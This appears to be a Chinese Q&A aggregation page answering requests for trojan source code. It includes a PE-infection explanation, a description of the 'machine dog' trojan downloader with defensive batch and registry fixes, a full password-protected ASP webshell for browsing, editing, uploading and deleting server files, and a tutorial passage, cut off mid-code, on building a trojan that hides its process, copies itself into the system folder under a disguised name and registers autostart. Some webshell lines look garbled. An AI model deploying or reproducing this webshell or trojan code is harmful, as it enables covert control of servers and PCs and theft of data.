A. c语言木马源代码

ls这个好像是感染c文件的病毒,自动加上玩笑代码(当然可以是恶意的)
不是木马

B. 请介绍下C语言写木马的算法......

我只知道window的木马程序的原理,首先你要去研究一下windows PE文件的格式,windows PE文件包括(exe dll文件等),用文本方式打开任意一个exe或者dll文件,就会发现这些文件都具有类似的组织结构(就是PE格式)
仔细耐心地研究了PE格式后,你会发现这些PE格式的文件有很多间隙空间可用,window木马程序正是利用PE格式文件中的这些间隙,把自己的代码插入这些间隙空间中,同时还要修改宿主程序的入口地址(OEP Original Entry Point)
这样,宿主程序一运行,首先运行生成木马的代码,然后运行宿主程序。

Windows应用程序捆绑核心编程 (PE)
http://book.csdn.net/bookfiles/212/10021210198.shtml

http://www.diybl.com/course/3_program/c++/cppjs/2008219/100330.html

C. C语言简单的木马,最简单的。就是要360杀毒软件能查出来的那种最简单的。发源码。不要叫我上百度搜索

如果你用VC编译器的话,尝试一下使用SetWindowsHookEx和CreateRemoteThread两个函数,360应该会报毒。

D. 谁有机器狗木马病毒的C语言程序代码

计算机病毒「机器狗」
机器狗的生前身后,曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。
工作原理
机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部网络传播,一台中招,能引发整个网络的计算机全部自动重启。
重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是最好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。
对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。
免疫补丁之争
现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如QQ医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。
解决之道
最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。
来彻底清除该病毒,处理后重启一下计算机就可以了,之前要打上补丁!
或者这样:
1注册表,组策略中禁止运行userinit.exe 进程
2 在启动项目中加入批处理
A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe (其中「/IM」参数后面为进程的图像名,这命令只对XP用户有效)
B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe
C : 创建userinit.exe免疫文件到%SystemRoot%\system32\
命令:md %SystemRoot%\system32\userinit.exe >nul 2>nul
或者 md %SystemRoot%\system32\userinit.exe
attrib +s +r +h +a %SystemRoot%\system32\userinit.exe
D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\userinit.exe" /v debugger /t reg_sz /d debugfile.exe /f
userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。
最新动向
好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁碟设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。
机器狗是一个木马下载器,感染后会自动从网络上下载木马、病毒,危及用户账号的安全。
机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。
>> 那么如何识别是否已中毒呢?
是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32 文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。
临时解决办法:
一是在路由上封IP:
ROS脚本,要的自己加上去
/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content= action=reject
二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盘的时候,就加壳并替换。
在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止
批处理
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
目前,网络流行以下解决方法,或者可以在紧急情况下救急:
1、首先在系统system32下复制个无毒的userinit.exe,文件名为FUCKIGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。
2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下:
start FUCKIGM.exe (呵呵,够简单吧?)
3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\WINDOWS\\system32\\userinit.bat,"
就这3步,让这条狗再也凶不起来!这是在windows 2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框!

E. 木马程序源码

一个asp木马:
<%@ LANGUAGE = VBScript.Encode codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function

Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function

Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上传程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read

iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub

Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub

Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function

Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class

Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub

Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.to dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>

<body>
<%if request.form("password")<>"" then
response.write "Password Error!"
end if
%>

<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
<tr>
<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p>Enter Password:<input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
<input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"></p>
</center></div>
</form>
</td>
</tr>
</table>
</body>
</html>
<%end if%>

<%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script><%
end if
End Sub

Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<style type="text/css">
<!--
table{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
-->
</style>
</head>
<script language="javaScript">
function crfile(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "字节</td><td width='30%'><a href='#' title='类型:" & type1 & chr(10) & "属性:" & Attributes & chr(10) & "时间:" & DateLastModified &"'>属性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>编辑</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a> <a href='#' onclick=file('" & lpath & Name & "')><font color='#FF8000' ></font>复制</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下载</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a><br>"
end sub

sub rmdir1(ls)
if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为:"&ls) then
window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")
end if
end sub

sub rmdir(ls)
if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为:"&ls) then
window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")
end if
end sub

sub file(sfile)
dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件:"& sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10) &"[允许带路径,要根据你的当前路径模式]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "对不起,你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径:["&dfile&"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=&attrib="+attrib+"&dpath="+lp+dfile)
else
alert"您没有输入文件名!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
<tr>
<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※换盘:<span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in oFileSys.Drives
Response.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"
NEXT
%> </span> 地址:
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
response.write "<a href='" & rseb & "?q=list.asp'>切到相对路径</a>"
else
response.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切到绝对路径</a>"
end if
%> ※绝对:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※当前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">

编辑|
<input class="tx1" type="text" name="filename" size="20">
<input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">
<input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="tx1" style="width:100" value="">
<input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="tx" value="1">
<input class="tx1" type="submit" value="上传">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">
</td>
</td>
</tr></form>
<tr>
<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>
<%else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edit.asp"%>
<html>

<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>编辑源代码</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>

<body>
<% '读文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "<script>alert('删除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile. dsfile
%>
<script language=vbscript>
msgbox "源文件:<%=whichfile%>" & vbcrlf & "目的文件:<%=dsfile%>" & vbcrlf & "复制成功!要刷新才能看到效果!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>

<form method="POST" action="<%=rseb%>?q=edit.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"
width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"
value="<%=Request("path")%> ">直接更改文件名,相当于「另存为」</td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="复原" name="B2"></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"
end if
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if

%>
</body>
</html>
<%case "edir.asp"%>
<html>

<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>目录操作</title>
<style>
<!--
table{ font-family: 宋体; font-size: 12pt }
a{ font-family: 宋体; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>

<body>
<% '读文件
if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "<script>alert('删除的目录为:" & whichdir & "删除成功!要刷新才能看到效果');window.close();</script>"

else

if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "<script>alert('建立的目录为:" & whichdir & "建立成功!要刷新才能看到效果');window.close();</script>"
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath&"/"
end if

iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize>

F. 哪里有木马源代码分析啊 要详解的 最好C语言编写的

木马是如何编写的(一)

特洛依木马这个名词大家应该不陌生,自从98年「死牛崇拜」黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《计算机报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程序(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的「关闭程序」对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如「死牛崇拜」黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控制项:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMftp和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控制项的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控制项。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的「关闭程序」对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://载入RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这幺多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动载入:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
